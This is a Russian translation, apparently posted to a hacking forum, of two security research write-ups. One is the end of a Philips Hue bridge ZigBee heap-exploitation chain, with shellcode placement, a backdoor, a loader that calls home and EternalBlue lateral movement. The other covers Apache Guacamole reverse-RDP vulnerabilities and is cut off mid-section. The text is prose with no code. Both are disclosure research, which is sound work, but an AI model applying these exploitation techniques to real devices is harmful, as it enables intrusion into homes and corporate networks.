- Когда буфер освобожден и не помещен в Fast-Bin, третье и четвертое поля используются как часть двусвязного списка. Эти поля расположены в первых 8 байтах пользовательского буфера.Click to expand...
Выбираем нашу цель внутри кучи
Двусвязные списки иногда предлагают отличный примитив для эксплойтов, поскольку во время отключения списка поврежденный узел может вызвать операцию Write-What-Where. Однако мы уже не в начале 2000-х, и этот примитив не будет работать для нас в этой популярной реализации кучи. Вместо этого разработчики развернули механизм защиты, известный как "Safe Unlinking", который проверяет "forward" и "backward" указатели перед их использованием.
Из-за этой заищты мы решили вместо этого атаковать Fast-Bins. Они состоят из односвязных списков, что означает, что они не могут быть должным образом проверены, как предыдущие двусвязные списки.
Fast-Bins представляют собой массив "ячеек" разного размера, каждая из которых содержит односвязный список фрагментов до заданного размера. Минимальный размер ячейки содержит буферы размером до 0x10 байт, следующий содержит буферы размером от 0x11 до 0x18 байтов и так далее. В ходе исследования мы обнаружили интересную ошибку в реализации метода free():
Основываясь на том, что наименьший размер выделения должен быть 0x10, макрос fastbin_index() делит размер на 8, вычитает из него 2 и использует результат в качестве индекса для массива Fast-Bin. Если мы можем повредить запись метаданных для данного освобожденного фрагмента, мы можем изменить этот индекс на одно из недопустимых значений: -1 или -2.
Использование недопустимого значения -1 сохраняет наш освобожденный буфер в поле max_fast, которое отвечает за настраиваемый максимальный размер для fast bin. Сохранение указателя в этом поле, вероятно, нанесет ущерб, но как насчет недопустимого индекса -2?
Используя отладчик, мы увидели, что перед глобальной структурой malloc_state ничего не хранится, а это означает, что сохранение указателя в fastbins[-2] не испортит ничего важного. Кроме того, malloc() не подумает о проверке этого недопустимого Fast-Bin на предмет любого выделения, которое будет возвращено пользователю. Для любого практического использования мы просто создали /dev/null bin, дающий нам примитив для утечки памяти из кучи, примитив, который может помочь нам привести его в желаемое состояние.
План переполнения
Наша уязвимость дает нам контролируемое переполнение буфера на основе кучи из буфера размером 0x2B до примерно 70 байт. Из-за базовых выравниваний в куче мы, скорее всего, получим буфер размером 0x30 (мы получим буфер большего размера, только если у нас закончатся подходящие буферы). Кроме того, в реализации кучи есть странность:
- Байты 0x00-0x04: поле размера из нашего malloc_chunk.
- Байты 0x04-0x2C: буфер данных пользователя (который на 4 байта короче, чем нам нужно).
- Байты 0x2C-0x30: "недостающие" 4 байта, также действующие как поле prev_size блока malloc_chunk, расположенного после нас в памяти.Click to expand...
Эта причудливая реализация, вероятно, сэкономила кому-то 4 байта на каждый блок malloc, но она, конечно же, не упростила чтение или отладку кода.
Имея в виду все эти детали, наш генеральный план состоит в том, чтобы переполнить соседний свободный буфер, расположенный в Fast-Bin. На рисунке 19 показано, как выглядят буферы до нашего переполнения:
На рисунке 20 показаны те же два буфера после нашего переполнения:
Используя наше переполнение, мы планируем изменить размер соседнего буфера на
Мы также модифицируем то, что, как мы надеемся, является односвязным указателем на запись Fast-Bin. Изменяя этот указатель на наш собственный произвольный адрес, мы можем заставить кучу думать, что теперь там хранится новый освобожденный кусок. Запуская последовательность выделения размера, соответствующего размеру соответствующего Fast-Bin, мы можем получить примитив Malloc-Where, с помощью которого мы планируем добиться выполнения нашего кода.
Вот краткое описание различных сценариев, с которыми мы можем столкнуться во время нашего переполнения:
- Буфер после нас свободен и помещен в Fast-Bin. Успех, поскольку мы повредили указатель Fast-Bin и можем использовать его для получения желаемого примитива Malloc-Where.
- Буфер после нас уже используется и будет свободен. Частичный успех, так как операция free() будет использовать наш поврежденный размер и сохранять его в папке /dev/null.
- Буфер после нас уже используется и никогда не будет освобожден. Не так уж и плохо. В этом случае мы надеемся, что мы ничего не испортили, так как мы изменили только 4 байта в этом буфере.
- Буфер за нами свободен, и мы испортили двусвязный список. Сбой, и будем надеяться, что куча больше не проверит этот буфер, так как это вызывает сбой.
Click to expand...
Мы можем проиграть только в одном из четырех сценариев, а в остальных мы либо напрямую выигрываем, либо продвигаемся к победе. Будем надеяться, что шансы в нашу пользу, и постараемся переполнить наименьшее количество раз, необходимое для успешного эксплойта.
Специальное примечание: после того, как мы закончили это исследование, мы разработали средство защиты под названием "Safe Linking", которое защищает односвязные списки в куче от эксплойтов, подобных тому, который мы только что описали. Эта функция уже интегрирована в последние версии uClibc-NG и glibc.
Формирование кучи
Самая важная часть формирования кучи в форме, показанной выше, заключается в том, что основной процессор довольно слаб. Если мы отправляем много сообщений и отправляем их достаточно быстро, мы фактически лишаем некоторые потоки в целевой программы. Это означает, что во время нашей атаки потоки в нашем потоке данных являются практически единственными потоками, выполнение которых запланировано. Это важное поведение значительно увеличивает вероятность успеха, так как снижает шум в куче до минимального уровня.
Обладая этим важным открытием и зная, что мы переполняем кучу из-за выделения памяти размером 0x30 байт, мы разработали простой план:
- Отправить несколько строк ZCL, которые распределены по размерам 0x28 и 0x30.
- Отправить (очень) несколько переполняющихся строк ZCL, направляя захваченный указатель Fast-Bin в глобальную таблицу смещения (GOT).
- Отправить дополнительный пакет сообщений размером 0x30 в надежде получить примитив Malloc-Where.Click to expand...
Первая фаза - самая медленная, поскольку мы хотим, чтобы буферы постепенно освобождались, прежде чем мы начнем наше переполнение. Опять же, мы стремимся к переполнению непосредственно в освобожденный буфер.
На втором этапе мы надеемся изменить указатель Fast-Bin, чтобы он указывал непосредственно на адрес указателя на free() в GOT. Таким образом, третья фаза отправляет сообщения, и одно из них сохраняется в GOT, поскольку куча ошибочно считает, что это свободный буфер кучи. Этот примитив Malloc-Where теперь превращается в полностью контролируемый сетевой пакет, который записывается в произвольный адрес памяти, очень сильный примитив эксплойта. И сам триггер сразу же; при вызове free() одно из наших сообщений перескакивает на выполнение нашего шелл-кода.
Хранение нашего шеллкода
Поскольку большинство распределений использует кучу (которая рандомизирована операционной системой Linux), задача поиска управляемого адреса, по которому мы можем хранить наш шелл-код, оказалась относительно сложной. Кроме того, поскольку модем отправляет короткие текстовые сообщения в основной ЦП, у нас нет глобального буфера, который может хранить длинный двоичный контент по нашему выбору.
В конце концов, мы пришли к выводу, что мы не можем быть разборчивыми и должны использовать единственный глобальный массив, который, как мы видели, достаточно большой: массив, в котором мост хранит записи входящих (LQI) соседей. У этого массива есть свои плюсы и минусы:
Плюсы
- Глобальный массив расположен по фиксированному известному адресу памяти.
- Массив (как и все другие глобальные переменные с возможностью записи) имеет права памяти RWX.
- Массив относительно большой: он может содержать до 0x41 (65) записей размером 0x10 (16) байт.Click to expand...
Минусы
- Мы не можем полностью контролировать всю запись размером 16 байт.
Click to expand...
Позже мы также узнали, что мы даже не можем использовать всю емкость записей 0x41. Однако, когда у вас не так много вариантов, вы не можете позволить себе быть разборчивым.
Ограничения на каждую соседнюю запись:
- Байты 0x00-0x08: Расширенный сетевой адрес - Полностью управляемый.
- Байты 0x09-0x0A: Короткий сетевой адрес - Полностью управляемый.
- Байты 0x0A-0x10: Разные поля — неконтролируемые.Click to expand...
Вдобавок ко всему, у нас действительно нет 10 соседних контролируемых байтов, поскольку мост проверяет уникальность каждой записи. Каждый "расширенный сетевой адрес" должен быть уникальным, что легко сделать из-за его размера в 8 байтов. Каждый "короткий сетевой адрес" также должен быть уникальным, а это совершенно другая история, поскольку мы должны проявить творческий подход, чтобы обойти это ограничение и использовать как можно больше байтов.
Правильный способ доставки наших "записей о соседях" на мост - это управляющие сообщения LQI (Link Quality Indicator). Однако на этот раз и модем, и основной ЦП отслеживают правильность конечного автомата, и мы можем отправлять наши сообщения только в качестве правильных ответов на запросы, исходящие от самого моста. К сожалению, мост выдает эти запросы только после завершения фазы ZCL, а это означает, что мы можем подготовить шелл-код в памяти цели только после того, как окно возможности для эксплуатации закрыто.
На этом этапе мы проверили содержимое массива памяти и увидели, что наши сетевые адреса также хранятся здесь, хотя мы еще не отправили никаких сообщений LQI. Дальнейшее изучение показало, что сообщение DEVICE_ANNOUNCE, которое мы передаем на этапе принятия, также добавляет одну запись в массив соседей. Фактически это означает, что это массив адресной книги, а не "массив соседей".
Здесь все начало запутываться. Для каждого нового адреса мост отправляет соответствующий запрос маршрута, пытаясь узнать, как достичь этого нового узла ZigBee. Эти передачи сделали мост довольно нестабильным и повлияли на и без того нестабильные таймауты остальных конечных автоматов протокола. Нашим решением этой новой проблемы было использование нескольких лампочек:
- Правильная лампочка, которая появляется в мобильном приложении пользователя, а затем использует бэкдор, который мы планируем установить.
- Поддельная лампочка, которая рекламирует несколько "лампочек" и на практике помещает наш шелл-код в глобальный массив памяти цели, как показано на рисунке 21.
- Дополнительная фальшивая лампочка, которая достигает фазы ZCL и использует уязвимость теперь, когда шелл-код уже находится в памяти.
Click to expand...
Поскольку только первая лампочка может успешно завершить этап ввода в эксплуатацию, пользователь не имеет ни малейшего представления о том, что на мосту были замечены дополнительные фантомные лампочки.
Идеальный дизайн шеллкода
Если мы используем инструкции сборки Mips16, большинство наших инструкций состоят из 2 байта каждая, а более сложные инструкции состоят нам 4 байта каждая. В идеале мы можем использовать первые 8 байтов для выполнения нескольких инструкций сборки и использовать последние 2 байта для перехода к следующей записи. В большинстве случаев мы перескакиваем на 6 байтов вперед (к следующей записи), а это означает, что инструкции перехода каждый раз одинаковы и нарушают ограничение. Однако мы можем использовать различные инструкции перехода, если, например, у нас есть условные переходы.
План нашего шелл-кода состоит в том, чтобы изменить исходный ELF и создать бэкдор. Наши модификации кучи, скорее всего, приведут к нестабильности процесса, мягко говоря. Если мы изменим сам ELF, то после сбоя процесса программный демон (сторожевой таймер) перезапустит его, и на этот раз он будет содержать наш встроенный бэкдор.
Этот план был хорош на бумаге, но и путь к файлу ELF, и сам бэкдор были слишком велики для нашего ограничения до 10 последовательных управляемых байтов в каждой записи. Идея, которую мы придумали, заключалась в простом цикле декодера:
- Первые записи запускаются в цикле и копируют контролируемые байты из остальных записей и размещают их в последовательном буфере памяти.
- Остальные записи - это фактическая полезная нагрузка для нашего шелл- кода.Click to expand...
Хотя шелл-код работал нормально в нашей фиктивной среде, он столкнулся с несколькими препятствиями, когда мы попробовали его на нашей реальной цели.
Во-первых, шеллкод был дорогим: он состоял из 0x19 записей; изначально мы отправляли только 0x10 записей при тестировании эксплойта для уязвимости на основе кучи. Простое добавление всего 9 записей оказалось слишком большим: мост был слишком неустойчивым, и наша третья лампочка не достигла фазы ZCL.
После долгих вычислений нам удалось втиснуть наш прекрасный настраиваемый шелл-код в записи 0x12 не очень удобочитаемого шелл-кода. Мы успешно обошли это ограничение по размеру и смогли начать отладку нашего шелл-кода на реальной цели (используя наш удаленный gdbserver).
Здесь мы обнаружили недостатки в нашем первоначальном плане. Цикл декодера в архитектуре Mips требует, чтобы мы вызывали sleep(), чтобы у нас не было проблем с кешем. В противном случае наши переупорядоченные записи не будут распространяться (сбрасываться) в кэш инструкций процессора (I-Cache), и фактически он выполняет некоторый случайный мусор вместо нашего полного шелл- кода. Эта функция sleep() означала, что мы в значительной степени разрушили целевую кучу, и пока мы спали прекрасным сном, другие потоки были оставлены, чтобы разобраться с нашим беспорядком и потерпели крах.
Мы не могли позволить себе расширить наш шелл-код в наших попытках восстановить поток программы и избежать сбоев, и оказалось, что файл ELF даже не был доступен для записи во время выполнения, поэтому нам пришлось разработать новый план для нашего шелл-кода.
Смелый дизайн шеллкода
Если нам уже нужно восстановить поток выполнения, чтобы программа не аварийно завершила работу во время sleep(), мы можем полностью восстановить его и установить бэкдор в нашем адресном пространстве собственной памяти. Таким образом, нам не нужно писать ни в один файл, а отсутствие пути к файлу может устранить первоначальную потребность в дорогостоящем цикле декодера.
Мы вернулись к чертежной доске и через несколько дней нам удалось написать новый шелл-код, который выполняет следующий набор задач (по порядку):
- Восстановление потока выполнения: стабилизация кучи, восстановление GOT и так далее.
- Отключить сторожевой таймер: убедитесь, что он не заметит, что мы отправили слишком много сообщений во время эксплойта (или, по крайней мере, убедитесь, что никто его не слышит).
- Установите бэкдор: mprotect() определенную страницу памяти для разрешений RWX и измените необходимые байты, чтобы разместить наш бэкдор в нужном месте.Click to expand...
Второй момент был довольно интересным, поскольку оказалось, что простая отправка слишком большого количества сообщений в быстром темпе приводила к тому, что некоторые потоки зависали. Когда мы закончили, сторожевой таймер увидел, что эти потоки не отвечают, и вышел из программы вместе с хорошим сообщением системного журнала, которое было отправлено производителям. Вероятно, сейчас самое время извиниться перед производителями, которые теперь могут подумать, что с одним из их продуктов что-то не так, поскольку он постоянно отправлял им десятки отчетов системного журнала.
В конце концов, после некоторой отладки мы получили рабочий шелл-код из 0x10 записей. На рисунке 22 показана структура памяти нашего шелл-кода, как показано в IDA:
Как видите, начальные записи содержат код, который нужно выполнить, а последние 3 записи хранят переменные конфигурации, включая данные для установленного бэкдора. Каждая запись кода выполняет несколько инструкций ассемблера и переходит к следующей записи, пока мы не завершим все наши задачи и не вернемся к исходному потоку выполнения программы.
Наш бэкдор
Мы не собираемся слишком глубоко погружаться в технические аспекты нашего бэкдора, поскольку мы не публикуем полностью вооруженный эксплойт. Мы можем поделиться тем, что наш бэкдор дал нам примитив Write-What-Where, используя специально созданное сообщение, которое мы теперь можем отправить на целевой мост с нашей "законной" лампочки. Мы использовали этот стабильный примитив записи для записи загрузчика Scout в память RWX, а затем использовали тот факт, что код все еще доступен для записи, чтобы перенаправить выполнение на наш новый шелл-код.
Загрузчик Scout просто подключился через TCP к нашим серверам, получил исполняемый файл, который нужно было отбросить и развернуть на мосту, и выполнил его. На рисунке 23 мы видим процесс /tmp/exploit, который выполняет следующий этап нашей атаки.
Используя нашу совершенно новую цель Mips, мы смогли расширить Scout для поддержки архитектуры Mips, и в нашем тестовом примере это сработало отлично.
Объединение частей эксплойта
В нашем сценарии атаки мы хотим взять под контроль мост из сети ZigBee и использовать его как точку воздействия для атаки дополнительных компьютеров в IP-сети. Но во-первых, наша уязвимость требует, чтобы мы обманом заставляли пользователя искать новые лампочки, а это не совсем простой шаг. Используя примитивы атаки из первоначального исследования, мы разработали следующий план:
- Используйте сенсорную ссылку (использованную в первоначальном исследовании) и украдите лампочку из сети пользователя, чтобы теперь она перешла под наш контроль.
- Измените цвет и интенсивность лампочки на любой раздражающий цвет по вашему выбору. Пользователь должен думать, что лампочка неисправна, но все еще работает, поэтому не выключайте ее.
- Необязательно: обновите прошивку лампочки (как это было сделано в первоначальном исследовании) и выполните следующие шаги с самой лампочки. Для простоты вместо этого мы использовали нашу оценочную плату, поскольку не хотели загораживать лампочки в процессе и не имели мотивации создавать полностью вооруженную автономную атаку.
- Пользователь в конце концов видит, что с лампочкой что-то не так. В мобильном приложении она отображается как “Unreachable”. Затем пользователь "сбрасывает" её.
- Единственный способ сбросить лампочку - удалить ее из приложения, а затем сказать мосту, что нужно искать новые лампочки. Бинго! Теперь мы можем начать атаку.
- Украденная лампочка находится в другой сети ZigBee, поэтому мост не обнаружит ее.
- Мы маскируемся под настоящую лампочку, которую пользователь может видеть в приложении, и перенастраиваем лампочку, чтобы использовать исходный цвет.
- Потихому мы создаем дополнительные фантомные лампочки, которые используют уязвимость в мосту и устанавливают наш бэкдор.
- "Законная" лампочка использует этот бэкдор для установки вредоносного ПО на целевой мост.
- Наше вредоносное ПО подключается к нам через Интернет, и теперь мы успешно проникли в IP-сеть цели из радиосети ZigBee.
Click to expand...
Для нашей демонстрации мы решили использовать утекший эксплойт NSA EternalBlue, как и в нашем исследовании FAX. Эксплойт запускается с самого моста и используется для атаки непропатченных компьютеров внутри IP-сети цели.
Примечания по защите продукта
Во второй части видео на YouTube вы можете увидеть попытку эксплуатации того же уязвимого моста Hue Bridge, когда на этот раз мы установили на него наш наноагент IoT. Этот нано-агент обеспечивает целостность управления потоком (CFI) и добавляет защиту устройства к самой прошивке, таким образом успешно выявляя и блокируя нашу атаку, даже не зная про эксплоит нулевого дня, который мы использовали.
Check Point предоставляет консолидированное решение безопасности, которое укрепляет и защищает прошивку устройств IoT. Используя недавно приобретенную технологию, Check Point позволяет организациям защититься от атак на уровне устройств до того, как устройства будут скомпрометированы, с помощью защиты времени выполнения на устройстве. В дополнение к безопасности на уровне устройства Check Point предлагает защиту IoT на уровне сети, отслеживая трафик IoT, выявляя злонамеренные соединения или попытки доступа и блокируя их.
Скоординированное раскрытие информации
- 5 ноября 2019 г .- Компания Philips сообщила об уязвимостях и направила их в компанию Signify.
- 5 ноября 2019 г. - Компания Signify приняла к сведению наш отчет и подтвердила наличие уязвимости в своем продукте.
- 25 ноября 2019 г. - Компания Signify уведомила нас, что они завершили разработку и тестирование патча и что он будет выпущен в январе 2020 г.
- 13 января 2020 г. - Патч был развернут как удаленное обновление прошивки (1935144040).
- 28 января 2020 г. - Из-за географического распределения нашему мосту потребовалось некоторое время, чтобы автоматически установить обновление прошивки.
- 5 февраля 2020 г. - Мы выпустили демонстрационное видео для повышения осведомленности и держали технические подробности до тех пор, пока у пользователей не будет достаточно времени, чтобы обновить свои продукты.
- 7 августа 2020 г. - Полное публичное раскрытие информации во время DEF CON 28.Click to expand...
Источник: <https://research.checkpoint.com/2020/dont-be-silly-its-only-a-
lightbulb/>
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Обзор
Во многих компаниях, ежедневная процедура включает ежедневный приход в офис для работы на компьютере вашей компании, находясь в безопасности внутри корпоративной сети. Время от времени, работнику может потребоваться специальный доступ вне офиса, и он будет подключаться к сети компании удаленно, используя один из нескольких доступных инструментов.
Однако, после начала пандемии COVID-19, этот распорядок дня изменился. В Check Point, как и во многих других компаниях по всему миру, подавляющее большинство работы теперь выполняется удаленно, в основном из дома. Этот переход от локального к внешнему виду работы означает, что ИТ-решения для удаленного подключения к корпоративной сети теперь используются как никогда. Это также означает, что любая уязвимость безопасности в этих решениях будет иметь гораздо большее влияние, так как компании полагаются на эту технологию для поддержания функционирования своего бизнеса.
Apache Guacamole (https://guacamole.apache.org/) - это популярная инфраструктура для удаленной работы, с более чем 10 миллионами загрузок докеров ()https://hub.docker.com/r/guacamole/guacamole по всему миру. В нашем исследовании, мы обнаружили, что Apache Guacamole уязвим к нескольким критическим уязвимостям Reverse RDP (<https://research.checkpoint.com/2019/reverse-rdp-attack-code-execution-on- rdp-clients/>), а также подвержен влиянию нескольких новых уязвимостей, обнаруженных в FreeRDP (https://www.freerdp.com/). Короче говоря, эти уязвимости позволяют злоумышленнику, который уже успешно скомпрометировал компьютер внутри организации, начать атаку на шлюз Guacamole, когда ничего не подозревающий работник пытается подключиться к зараженной машине. Затем злоумышленник может получить полный контроль над сервером Guacamole, а также перехватывать и контролировать все другие связанные сеансы.
В этом короткой видео-демонстрации, мы демонстрируем, как нам удалось эксплуатировать эти уязвимости и успешно взять на себя управление шлюзом Guacamole и всеми подключенными сеансами:
Введение в Apache Guacamole
Заинтригованные этим переходом к работе в основном из дома, мы решили, что технологические решения для удаленной работы станут интересной темой для исследования. И действительно, сразу же, наш ИТ-отдел просил нас рассмотреть одно из таких решений Apache Guacamole. Как упоминалось ранее, это один из наиболее заметных инструментов на рынке. Мало того, что многие организации используют этот продукт для подключения к своим сетям, многие продукты для обеспечения доступности и безопасности сети также встроили Apache Guacamole в свои собственные продукты. Этот список включает в себя: Jumpserver Fortress (https://www.jumpserver.org/), Quali (https://www.quali.com/), Fortigate (https://forum.fortinet.com/tm.aspx?m=171727), и этот список можно продолжить.
После некоторой разведки мы нарисовали базовый эскиз рекомендуемой сетевой архитектуры, как показано на Рисунке 1:
По сути, сотрудник использует браузер для подключения к интернет-серверу своей
компании, проходит процедуру аутентификации и получает доступ к своему
корпоративному компьютеру. В то время как сотрудник использует только свой
браузер, сервер guacamole выбирает один из поддерживаемых протоколов (RDP,
VNC, SSH и так далее) и использует клиент с открытым исходным кодом для
подключения к конкретному корпоративному компьютеру. После подключения, сервер
guacamole действует как посредник, который передает события назад и вперед,
переводя их из выбранного протокола в специальный "протокол Guacamole", и
наоборот.
Теперь, когда мы понимаем, как выглядит архитектура, вот несколько многообещающих векторов атак:
- Сценарий обратной атаки: скомпрометированная машина внутри корпоративной сети использует входящее безопасное соединение для атаки на шлюз с целью его захвата.
- Сценарий вредоносного работника: мошеннический сотрудник использует компьютер в сети, чтобы использовать свои возможности на обоих концах соединения и получить контроль над шлюзом.Click to expand...
Нужен ли нам 0-Day ?
Прежде чем мы углубимся в код, давайте кратко остановимся на FreeRDP. В нашем предыдущем исследовании Reverse RDP Attack (<https://research.checkpoint.com/2019/reverse-rdp-attack-code-execution-on- rdp-clients/>), мы обнаружили несколько критических уязвимостей в этом RDP- клиенте, которые подвергли его атаке со стороны вредоносного RDP-сервера. Другими словами, вредоносный корпоративный компьютер может взять под контроль ничего не подозревающий клиент FreeRDP, который подключается к нему. У нас даже был базовый PoC для одной из наших уязвимостей (CVE-2018-8786)(https://cpr-zero.checkpoint.com/vulns/cprid-2007/), и мы продемонстрировали удаленное выполнение кода (RCE).
Глядя на выпущенные версии Apache Guacamole, мы видим, что только в версии 1.1.0, выпущенной в конце января 2020 года, добавлена поддержка последней версии FreeRDP (2.0.0). Зная, что наши уязвимости в FreeRDP были исправлены только в версии 2.0.0-rc4, это означает, что все версии, выпущенные до января 2020 года, используют уязвимые версии FreeRDP.
Мы могли бы остановиться здесь и оценить высокую вероятность того, что большинство компаний еще не обновили до последних версий и уже могут быть атакованы с использованием этих известных 1-Days. Однако, мы решили еще раз найти уязвимости в протоколе RDP, а точнее:
- Код guacamole-сервера, при этом основное внимание уделяется только поддержке протокола RDP.
- Код последней выпущенной версии FreeRDP: версия 2.0.0-rc4.Click to expand...
Вдобавок ко всему, наши условия эксплоита - возможность работать на установках по умолчанию, используя только те функции, которые включены по умолчанию и, надеюсь, не требуют взаимодействия с клиентом. Давайте начнем.
В поисках новых уязвимостей
Знакомство с кодом FreeRDP и с RDP в целом действительно помогло во время этого аудита безопасности. Мы быстро начали искать уязвимости.
CPR-ID-2141 – Наше первое раскрытие информации
CVE: CVE-2020-9497*
Файл: protocols\rdp\channels\rdpsnd\rdpsnd-messages.c
Функция: guac_rdpsnd_formats_handler()Click to expand...
Примечание: поскольку Apache не использовал соотношение 1:1 между нашими зарегистрированными уязвимостями (CPR-ID) и выпущенными ими CVE-ID, мы будем в основном ссылаться на их уязвимости (более точным) CPR-ID. Чтобы передать сообщения между RDP-соединением и клиентом, разработчики реализовали собственное расширение для каналов RDP по умолчанию. Один такой канал отвечает за аудио с сервера, поэтому неудивительно, что он называется rdpsnd (RDP Sound).
Однако, как это часто бывает, точка интеграции между сервером guacamole и FreeRDP оказалась подверженной ошибкам. Входящие сообщения оборачиваются объектами wStream FreeRDP, и данные должны анализироваться с использованием API этого объекта. Однако, как видно на Рисунке 2, разработчики забыли принудительно установить, что объект входящего потока должен содержать количество байтов, соответствующее объему, объявленному пакетом.
Отправляя вредоносное сообщение канала rdpsnd, вредоносный RDP-сервер может заставить клиента думать, что пакет содержит огромное количество байтов, которые фактически являются байтами памяти самого клиента. Это, в свою очередь, приводит к тому, что клиент отправляет ответ на сервер с этими байтами, и предоставляет RDP-серверу массивный примитив раскрытия информации, типа heartbleed.
CPR-ID-2142 – Once again, an Information Disclosure
CVE: CVE-2020-9497
Файл: protocols\rdp\channels\rdpsnd\rdpsnd.c
Функция: guac_rdpsnd_process_receive()Click to expand...
В том же канале RDP, другое сообщение имеет аналогичную уязвимость. На этот раз он отправляет данные типа Out-of-Bounds подключенному клиенту, а не обратно на сервер RDP.
Хотя эта утечка полезна, она отправляет информацию клиенту, и мы надеемся создать эксплойт, даже не зная, что шлюз подвергся атаке.
CPR-ID-2143 – What a surprise, an Information Disclosure
CVE: CVE-2020-9497
Файл: protocols\rdp\plugins\guacai\guacai-messages.c
Функция: guac_rdp_ai_read_format()Click to expand...
Мы были заинтригованы, чтобы найти дополнительный канал, guacai, отвечающий за звуковые сообщения. Этот канал отвечает за "Аудио вход", отсюда и название guacai. Хотя этот канал уязвим примерно к той же уязвимости, что и предыдущий канал, по умолчанию этот канал отключен.
На этом этапе нашего исследования, мы обнаружили 3 основных уязвимости раскрытия информации, которых должно быть более чем достаточно для обхода ASLR (рандомизации расположения адресного пространства). Однако, нам все еще нужна уязвимость повреждения памяти, чтобы завершить нашу цепочку эксплойтов. Чувствуя себя застрявшими, мы снова пошли посмотреть на FreeRDP, надеясь найти уязвимости, которые мы могли упустить в нашем предыдущем исследовании.
FreeRDP, наш старый друг
С тех пор, как мы последний раз смотрели его, в RDP-клиент не было внесено много изменений; исправленная версия до сих пор является самой последней на сегодняшний день. Как всегда при поиске уязвимостей, давайте сначала разберемся с ключевой "особенностью" дизайна в типе wStream, используемом этим клиентом. На Рисунке 5 мы можем видеть поля этой структуры:
Это классический пример простой потоковой обёртки:
- буфер - указатель на начало полученного пакета.
- указатель - указатель на считывающую головку внутри полученного пакета.
- длина - размер в байтах входящего пакета.Click to expand...
Перед тем, как данное поле будет проанализировано из входного потока, должна быть сделана проверка, чтобы убедиться, что поток достаточно велик для его хранения. Такую проверку можно увидеть на рисунке 6:
Мы не можем не подчеркнуть, насколько важна эта проверка ввода. Каждый раз, когда поле анализируется или пропускается, поле указателя продвигается соответствующим образом. Позже, когда следующая проверка выполняется, это выглядит так:
Как только поле указателя пройдет конец входящего пакета, это вычисление не будет выполнено, и поэтому будет возвращено огромное значение без знака, которое должно представлять отрицательное количество оставшихся байтов. Одним словом, пропустите одну проверку, а остальные будут бесполезны. Этот интересный дизайн делает FreeRDP очень уязвимым для уязвимостей вида чтения за пределами, как мы вскоре выяснили.
Прежде чем представить эти уязвимости я, важно отметить, почему мы заботимся о них. Обычно, чтение полезно только в том случае, если оно возвращает байты чтения тем или иным способом злоумышленнику. В противном случае, чтение может использоваться как способ сбоя программы, когда она пытается получить доступ к не отображенным страницам в памяти. Сценарий атаки Apache Guacamole является особенным, потому что мы держим оба конца соединения. Если, например, байты памяти анализируются как графические обновления на экране, эти обновления все равно будут отправлены подключенному клиенту.
В этом сценарии, атаки каждая уязвимость может, вероятно, превратиться в слабое, но все же полезное раскрытие информации.
CPR-ID-2145 & CPR-ID-2146 – Out-of-Bounds Reads in FreeRDP
Вспоминая интересный недостаток дизайна в объекте wStream, все, что нам нужно было сделать, - это искать операции чтения, которые не поддерживаются проверками. Это сработало довольно хорошо, и мы обнаружили две такие уязвимости: CPR-ID-2145 и CPR-ID-2146.
Однако, сообщая о них поставщику, мы обнаружили, что они оба уже были зарегистрированы двумя отдельными группами. Поскольку они являются дубликатами, они должны быть приписаны их законным исследователям, даже если мы представили их только несколько часов спустя.
Поэтому мы решили, что более целесообразно позволить другим командам представить свои выводы, и удалили подробности о них из нашего блога.
Нам нужно повреждение памяти ...
На данный момент мы обнаружили 5 уязвимостей, которые могут служить примитивами раскрытия информации в нашей атаке. Тем не менее, мы еще не нашли ни одной уязвимости повреждения памяти. Поиск таких уязвимостей во FreeRDP был довольно неприятным, так как каждый раз, когда у нас было преимущество, проверка блокировала его.
Этот пост в популярном профиле Zensploitation в Твиттере (@zensploitation) в значительной степени обобщает наши ощущения на данный момент в нашем исследовании:
В этот момент, мы решили, что зашли слишком далеко, чтобы просто сдаться. Мы решили еще раз взглянуть на guacamole-сервер, и на этот раз все заработало
CPR-ID-2144 – At last, a Memory Corruption
CVE: CVE-2020-9498
Файл: protocols\rdp\plugins\guac-common-svc\guac-common-svc.c
Функция: guac_rdp_common_svc_handle_open_event()Click to expand...
Протокол RDP выставляет разные "устройства" как отдельные "каналы", по одному для каждого устройства. К ним относятся канал rdpsnd для звука, cliprdr для буфера обмена и так далее. Как уровень абстракции, сообщения канала поддерживают фрагментацию, которая позволяет их сообщениям иметь длину до 4 ГБ. Для правильной поддержки каналов rdpsnd и rdpdr (Device Redirection) разработчики guacamole-server добавили дополнительный уровень абстракции, реализованный в файле: guac_common_svc.c. На Рисунке 9 показана обработка фрагментации, реализованная в этом файле:
Мы видим, что первый фрагмент должен содержать фрагмент CHANNEL_FLAG_FIRST, и при обработке поток распределяется в соответствии с общей объявленной длиной всего сообщения.
Однако что произойдет, если злоумышленник отправит фрагмент без этого флага? Кажется, что он просто добавляется к предыдущему оставшемуся потоку. На данный момент, это выглядит как многообещающая уязвимость Dangling-Pointer. Теперь нам нужно только проверить, не забыли ли разработчики установить его в NULL, когда предыдущее фрагментированное сообщение завершило свою обработку.
На Рисунке 10 ясно показано, что после того, как фрагментированное сообщение завершает повторную сборку и продолжает анализироваться, оно освобождается. И это все. Никто не устанавливает указатель на NULL!
Вредоносный RDP-сервер может отправлять фрагмент сообщения не в очереди, в котором используется ранее освобожденный объект wStream, что фактически превращается в уязвимость UAF. Кроме того, wStream - это самый мощный объект, который мы могли бы надеяться получить для такой уязвимости, поскольку он может использоваться для произвольной записи, если в поле указателя задан желаемый адрес памяти. Кроме того, у нас есть полезная уязвимость раскрытия информации в канале rdpsnd сразу после использования нашего поврежденного объекта wStream. С некоторыми усилиями, специально созданный объект wStream может превратить нашу первоначальную уязвимость в более мощный примитив эксплойта произвольного чтения.
Наконец, удаленное выполнение кода (RCE)
Как описано ранее, с помощью уязвимостей CVE-2020-9497 и CVE-2020-9498 нам удалось реализовать наши примитивы эксплойтов произвольного чтения и произвольной записи. Используя эти два мощных примитива, мы успешно реализовали эксплойт удаленного выполнения кода (RCE), в котором вредоносный корпоративный компьютер (наш RDP-сервер) может взять под контроль процесс guacd, когда удаленный пользователь запрашивает подключение к своему (зараженному) компьютеру.
Но путешествие здесь не заканчивается. Процесс guacd обрабатывает только одно соединение и работает с низкими привилегиями. Традиционно, на этом этапе нам нужна уязвимость повышения привилегий(PE), чтобы захватить весь шлюз. И действительно, во время скоординированного раскрытия с Apache один из вопросов, которые задавали сопровождающие, заключался в том, действительно ли этот сценарий атаки возможен. Можем ли мы каким-то образом принять все соединения в шлюзе только с одного процесса guacd?
Давайте разберемся.
"Единственный человек в области вычислительной техники, которому платят за то, что он на самом деле понимает систему сверху вниз, - это злоумышленник". (Halvar Flake, offensivecon 2020)
Click to expand...
Apache Guacamole – глубокое погружение
